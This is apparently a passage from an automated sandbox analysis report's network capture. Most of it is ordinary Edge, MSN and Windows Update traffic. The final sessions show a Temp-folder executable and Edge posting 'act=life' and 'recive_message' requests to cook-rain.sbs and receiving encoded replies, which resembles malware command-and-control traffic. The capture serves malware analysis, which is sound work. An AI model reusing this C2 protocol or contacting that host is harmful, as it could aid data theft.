2024-11-18 14:17:09 UTC	9634	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 38 54 31 34 3a 31 37 3a 30 38 2e 30 34 35 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 35 39 37 31 64 35 38 39 2d 61 39 34 37 2d 34 36 63 33 2d 61 64 62 61 2d 63 62 65 66 38 38 35 33 37 30 31 39 22 2c 22 65 70 6f 63 68 22 3a 22 32 35 38 38 35 36 31 32 37 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-11-18T14:17:08.045Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":5,"installId":"5971d589-a947-46c3-adba-cbef88537019","epoch":"2588561279"},"app":{"loc
2024-11-18 14:17:09 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=c2374311284b403cb91c13b95870df43&HASH=c237&LV=202411&V=4&LU=1731939429590; Domain=.microsoft.com; Expires=Tue, 18 Nov 2025 14:17:09 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=7279461b949246a09c4504865b3b068f; Domain=.microsoft.com; Expires=Mon, 18 Nov 2024 14:47:09 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1544 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 18 Nov 2024 14:17:08 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.9	49830	23.47.50.160	443	7776	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:17:13 UTC	506	OUT	GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 14:17:13 UTC	548	IN	HTTP/1.1 200 OK Last-Modified: Wed, 30 Oct 2024 03:19:01 GMT Access-Control-Allow-Origin: * X-Datacenter: northeu X-ActivityId: ae26a430-0b36-4676-91f6-000cb810a9b3 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t X-Source-Length: 822 Content-Length: 4096 Cache-Control: public, max-age=306365 Expires: Fri, 22 Nov 2024 03:23:18 GMT Date: Mon, 18 Nov 2024 14:17:13 GMT Connection: close
2024-11-18 14:17:13 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.9	49831	23.47.50.160	443	7776	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:17:14 UTC	506	OUT	GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 14:17:14 UTC	549	IN	HTTP/1.1 200 OK Last-Modified: Wed, 23 Oct 2024 20:31:12 GMT Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t X-Source-Length: 17955 X-Datacenter: eastap X-ActivityId: 53621c4b-f6ac-4e45-8979-9690752d9442 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=152084 Expires: Wed, 20 Nov 2024 08:31:58 GMT Date: Mon, 18 Nov 2024 14:17:14 GMT Connection: close
2024-11-18 14:17:14 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.9	49832	23.47.50.160	443	7776	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:17:14 UTC	505	OUT	GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 14:17:15 UTC	548	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 10 Nov 2024 13:37:27 GMT X-Datacenter: eastus X-ActivityId: 646f7dcc-ee57-4b8a-81bd-4a4fe061e30b Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t X-Source-Length: 62552 Content-Length: 8192 Cache-Control: public, max-age=127362 Expires: Wed, 20 Nov 2024 01:39:56 GMT Date: Mon, 18 Nov 2024 14:17:14 GMT Connection: close
2024-11-18 14:17:15 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.9	49833	23.47.50.160	443	7776	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:17:15 UTC	505	OUT	GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 14:17:15 UTC	548	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Tue, 12 Nov 2024 13:30:55 GMT X-Datacenter: westus X-ActivityId: d76789f8-3945-49cd-9853-d102590122da Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t X-Source-Length: 95457 Content-Length: 8192 Cache-Control: public, max-age=299610 Expires: Fri, 22 Nov 2024 01:30:45 GMT Date: Mon, 18 Nov 2024 14:17:15 GMT Connection: close
2024-11-18 14:17:15 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.9	49834	23.47.50.160	443	7776	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:17:16 UTC	506	OUT	GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 14:17:16 UTC	550	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sat, 09 Nov 2024 17:21:55 GMT X-Datacenter: eastus X-ActivityId: 32bcfa44-4e64-45dc-bb6b-b6de3460b17f Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t X-Source-Length: 1437868 Content-Length: 4096 Cache-Control: public, max-age=54380 Expires: Tue, 19 Nov 2024 05:23:36 GMT Date: Mon, 18 Nov 2024 14:17:16 GMT Connection: close
2024-11-18 14:17:16 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.9	49837	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:17:23 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=4T+hZraHcSoeyWd&MD=xT7Bx3Fa HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-18 14:17:23 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 1f92ca5d-87dc-43c7-8dad-e3a2c87f0e03 MS-RequestId: 115a4632-a306-44fd-80bd-78cac0f00979 MS-CV: AbKROhba1UCxQUch.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 18 Nov 2024 14:17:22 GMT Connection: close Content-Length: 30005
2024-11-18 14:17:23 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-18 14:17:23 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.9	49852	188.114.97.3	443	8164	C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:18:27 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: cook-rain.sbs
2024-11-18 14:18:27 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-18 14:18:28 UTC	1005	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 14:18:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=89a0947432vqc0i5o09mka0bbl; expires=Fri, 14-Mar-2025 08:05:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=P1xk9i81THJ2qYRFIKry%2FR7rDs3%2BaoORFzSJKdNAHR0LIS%2BdQUW%2BIRVbrOtadiizWzr52DN3KlpbM0TOD2G8lvDZSeW4eWks2ln2pAKojQ3XNTujBghRtW2bYzeXzYkI"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e489704fe18358d-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1263&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2828&recv_bytes=904&delivery_rate=2243222&cwnd=245&unsent_bytes=0&cid=50b2aab0f9fddd7a&ts=599&x=0"
2024-11-18 14:18:28 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-18 14:18:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.9	49854	188.114.97.3	443	7776	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:18:29 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: cook-rain.sbs
2024-11-18 14:18:29 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-18 14:18:29 UTC	1007	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 14:18:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=siue0tlnsua0ohunneulq2ug2r; expires=Fri, 14-Mar-2025 08:05:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IBqUwvIzDIeKIL2nhWe554vj%2F4K11F%2FVVrPAck3vgPc24d65gf0Z7Y%2BbvmP%2FpYAyPPar4SHmVwbq073z8wOkcLRrEHmSLbaZ%2FG5fmwllLVkHjh0YHPeRYcCk1gz5OfmQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e48970dcaa44785-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1136&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2828&recv_bytes=950&delivery_rate=2594982&cwnd=251&unsent_bytes=0&cid=0ae113f319ddd9d8&ts=731&x=0"
2024-11-18 14:18:29 UTC	362	IN	Data Raw: 34 34 36 63 0d 0a 43 70 66 6b 65 53 61 48 2f 67 64 74 48 50 69 67 47 2f 77 58 38 51 4b 39 5a 30 52 6b 2b 47 44 57 6d 31 78 66 4c 38 34 6f 59 64 68 78 74 5a 4a 62 48 4c 50 53 4a 52 35 35 32 70 70 76 6a 6d 4b 55 4c 70 38 47 49 45 62 43 42 72 66 33 4c 7a 6f 44 37 46 34 4d 2b 6a 44 78 68 52 56 56 34 74 49 6c 43 47 54 61 6d 6b 43 48 4e 5a 52 73 6e 31 31 6d 41 5a 49 43 74 2f 63 2b 50 6b 53 68 57 41 32 37 59 76 75 44 45 55 50 6b 6d 6d 59 42 63 5a 33 46 66 70 31 39 6e 32 76 51 44 79 6c 47 31 45 4b 7a 34 58 35 6c 44 59 4e 4e 46 62 6c 48 39 70 63 53 42 50 72 53 66 45 39 35 6c 6f 49 68 33 6e 61 55 59 4e 45 42 49 41 2b 51 43 4c 37 2f 50 7a 74 46 76 6b 45 48 73 47 4c 31 67 42 42 4a 37 59 35 72 43 33 61 57 77 33 53 64 4e 64 30 67 32 42 31 6d 58 74 70 52 68 76 6f 76 4c Data Ascii: 446cCpfkeSaH/gdtHPigG/wX8QK9Z0Rk+GDWm1xfL84oYdhxtZJbHLPSJR552ppvjmKULp8GIEbCBrf3LzoD7F4M+jDxhRVV4tIlCGTamkCHNZRsn11mAZICt/c+PkShWA27YvuDEUPkmmYBcZ3Ffp19n2vQDylG1EKz4X5lDYNNFblH9pcSBPrSfE95loIh3naUYNEBIA+QCL7/PztFvkEHsGL1gBBJ7Y5rC3aWw3SdNd0g2B1mXtpRhvovL
2024-11-18 14:18:29 UTC	1369	IN	Data Raw: 78 32 75 56 66 4a 35 74 33 77 67 73 43 5a 6b 43 73 2f 4d 30 4d 6b 65 6f 52 77 36 38 61 50 58 47 56 51 54 69 68 43 56 58 50 72 6e 48 61 5a 6c 35 68 53 4c 6c 52 54 6c 49 67 30 4b 7a 39 58 35 6c 44 61 52 50 41 4c 6c 6a 2b 6f 55 54 54 2f 65 63 64 77 6c 7a 6e 39 42 2f 6d 33 75 5a 59 38 30 50 4b 41 43 5a 43 37 2f 77 4f 7a 70 4a 37 41 52 44 76 58 43 31 33 6c 74 6c 36 4a 64 70 42 57 6d 61 67 6d 62 51 62 4e 4e 6e 30 30 56 2b 52 70 34 44 73 50 67 36 4d 30 4f 6f 52 67 57 30 5a 66 71 41 45 55 54 69 6c 6d 30 48 66 35 66 4a 64 70 35 77 6e 6d 54 5a 43 53 63 44 32 6b 7a 30 2f 69 5a 39 46 65 78 6b 42 4c 6c 36 74 37 4d 59 53 75 75 62 63 30 39 68 31 4e 73 35 6d 58 6e 54 4f 4a 38 4c 49 77 6d 49 41 36 62 38 4d 43 39 42 71 55 77 4f 75 57 62 31 67 78 78 4a 36 35 70 69 44 48 61 Data Ascii: x2uVfJ5t3wgsCZkCs/M0MkeoRw68aPXGVQTihCVXPrnHaZl5hSLlRTlIg0Kz9X5lDaRPALlj+oUTT/ecdwlzn9B/m3uZY80PKACZC7/wOzpJ7ARDvXC13ltl6JdpBWmagmbQbNNn00V+Rp4DsPg6M0OoRgW0ZfqAEUTilm0Hf5fJdp5wnmTZCScD2kz0/iZ9FexkBLl6t7MYSuubc09h1Ns5mXnTOJ8LIwmIA6b8MC9BqUwOuWb1gxxJ65piDHa
